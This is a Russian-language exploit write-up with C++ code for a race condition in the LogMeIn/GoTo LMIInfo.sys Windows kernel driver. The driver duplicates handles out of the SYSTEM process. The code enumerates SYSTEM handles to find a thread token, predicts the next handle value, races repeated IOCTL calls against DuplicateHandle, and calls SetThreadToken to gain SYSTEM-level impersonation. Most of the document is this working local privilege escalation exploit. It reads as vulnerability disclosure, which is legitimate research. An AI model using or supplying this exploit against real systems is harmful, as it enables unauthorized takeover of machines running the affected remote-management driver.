
Эксплойт для состояния гонки в драйвере режима ядра LogMeIn/GoTo для Windows, которое дублирует дескрипторы SYSTEM, обеспечивая имитацию токена потока и локальное повышение привилегий.
В драйвере LMIInfo.sys, предоставляемом LogMeIn / GoTo RMM, существует состояние гонки, при котором произвольный дескриптор может быть продублирован из процесса SYSTEM. Основная проблема заключается в отсутствии надлежащего контроля доступа к объекту устройства, а также в очевидно плохом решении дублировать указанные пользователем дескрипторы из системного процесса.
IOCTL: 0x9211001C
Input buffer:
// LMI-Common.cpp
typedef struct LMI_INFO {
DWORD64 qwPid;
DWORD64 reserved0;
DWORD64 handleValue;
DWORD64 reserved1;
} LMI_INFO, * PLMI_INFO;
Диспетчеризация:

Уязвимая функция:

При сборе информации о дескрипторах и выполнении обработки строк, между вызовами ZwDuplicateObject/ZwClose, вызывающий процесс может продублировать уже продублированный дескриптор. При правильном выполнении вторичный продублированный дескриптор сохранится после закрытия первичного продублированного дескриптора.
Чтобы надёжно воспроизвести ошибку, все дескрипторы, используемые процессом, ДОЛЖНЫ быть созданы до запуска состояния гонки. Целевой дескриптор запрашивается из системного процесса с помощью следующей функции (в качестве примера используется токен потока):
// LMI-Common.cpp
HANDLE FindSystemPidFirstToken()
{
HANDLE hHeap = GetProcessHeap();
LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
ULONG ulBytesReturned = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, 0x20000, &ulBytesReturned);
while (status == 0xC0000004) {
HeapFree(hHeap, 0, lpBuf);
lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulBytesReturned + 0x1000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, ulBytesReturned + 0x1000, &ulBytesReturned);
}
if (status) {
printf("Query for handles failed - %lx\n", status);
return INVALID_HANDLE_VALUE;
}
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)lpBuf;
for (unsigned int i = 0; i < pSysHandleInfo->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO shtei = pSysHandleInfo->Handles[i];
if (shtei.UniqueProcessId != 4) {
continue;
}
printf("HANDLE:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
if (shtei.ObjectTypeIndex == OBJECT_TYPE_THREAD_TOKEN && shtei.GrantedAccess == THREAD_TOKEN_IMPERSONATE_PRIVILEGES) {
printf("Found handle to token:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
return (HANDLE)shtei.HandleValue;
}
}
return INVALID_HANDLE_VALUE;
}
Поскольку значения HANDLE увеличиваются с шагом 4, мы вычисляем значение первичного продублированного дескриптора, получая количество HANDLE и прибавляя 4. Поэтому мы открываем устройство и создаём «гоночный» поток в приостановленном состоянии перед вычислением следующего значения дескриптора. Вероятно, это можно было бы сделать более стабильным и «отточенным» способом, что оставляется в качестве упражнения читателю, который, скорее всего, более опытен, лол.
// LMI-Common.cpp
HANDLE FindNextCreatedHandle() {
HANDLE highestHandle = 0;
UINT32 u32NumHandles = 0;
ULONG ulSizeReturned = 0;
NTSTATUS status = 0;
status = NtQueryInformationProcess((HANDLE)-1, (PROCESSINFOCLASS)ProcessHandleCount, &u32NumHandles, sizeof(UINT32), &ulSizeReturned);
if (!NT_SUCCESS(status)) {
return (HANDLE)-1;
}
return (HANDLE)((UINT64)++u32NumHandles * 4);
}
После завершения «гоночный» поток возобновляется, и выдаются повторные IOCTL:
// LMI-Common.cpp
NTSTATUS DupeThread(LPVOID lpParam) {
puts("Entered DupeThread");
if (!lpParam || lpParam == INVALID_HANDLE_VALUE) {
printf("Invalid device handle passed to thread : %lx\n", GetLastError());
return -1;
}
PDUPE_THREAD_INFO Dti = (PDUPE_THREAD_INFO)lpParam;
DWORD dwBytesReturned = 0;
LMI_INFO lmii = { 0 };
lmii.qwPid = 4;
lmii.handleValue = (UINT64)FindSystemPidFirstToken(); // yes, I know
if ((HANDLE)lmii.handleValue == INVALID_HANDLE_VALUE) {
puts("Couldn't find a token handle in the system process??");
}
BOOL bRes = FALSE;
LPVOID lpOutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);
if (!lpOutBuf) {
printf("HeapAlloc : %lx\n", GetLastError());
return -1;
}
while (Dti->Run) {
// call DeviceIoControl to start the race
bRes = DeviceIoControl(
Dti->hDevice,
IOCTL_DUPE_LEL,
&lmii,
sizeof(LMI_INFO),
lpOutBuf,
0x1000,
&dwBytesReturned,
NULL
);
}
}
Конструктивное решение по «гоночному» потоку обусловлено следующим:
Основной поток многократно вызывает DuplicateHandle для дублирования первичного продублированного дескриптора, пока дублирование не увенчается успехом, а глобальная логическая переменная устанавливается в false для завершения «гоночного» потока (да-да, знаю).
// Source.cpp
HANDLE hTarget = FindNextCreatedHandle();
hTarget = (HANDLE)((UINT64)hTarget + 4);
puts("Resuming dupe thread");
dwSuspendCount = ResumeThread(hDupeThread);
if (dwSuspendCount == -1) {
printf("Error resuming dupe thread - %lx\n", GetLastError());
return -1;
}
while (!bRes) {
bRes = DuplicateHandle(g_hCurrentProc, hTarget, g_hCurrentProc, &hToken, NULL, FALSE, DUPLICATE_SAME_ACCESS);
}
dti.Run = FALSE;
if (bRes) {
puts("ebin");
printf("%llx - target\n", hTarget);
printf("%llx - dup\n", hToken);
bRes = SetThreadToken(NULL, hToken);
if (!bRes) {
printf("Failed to SetThreadToken - %x\nExploitation failed!", GetLastError());
}
else {
puts("Set the thread token!");
}
}
else {
printf("Failed to dupe token: %lx\n", GetLastError());
return -1;
}
getchar();
return 0;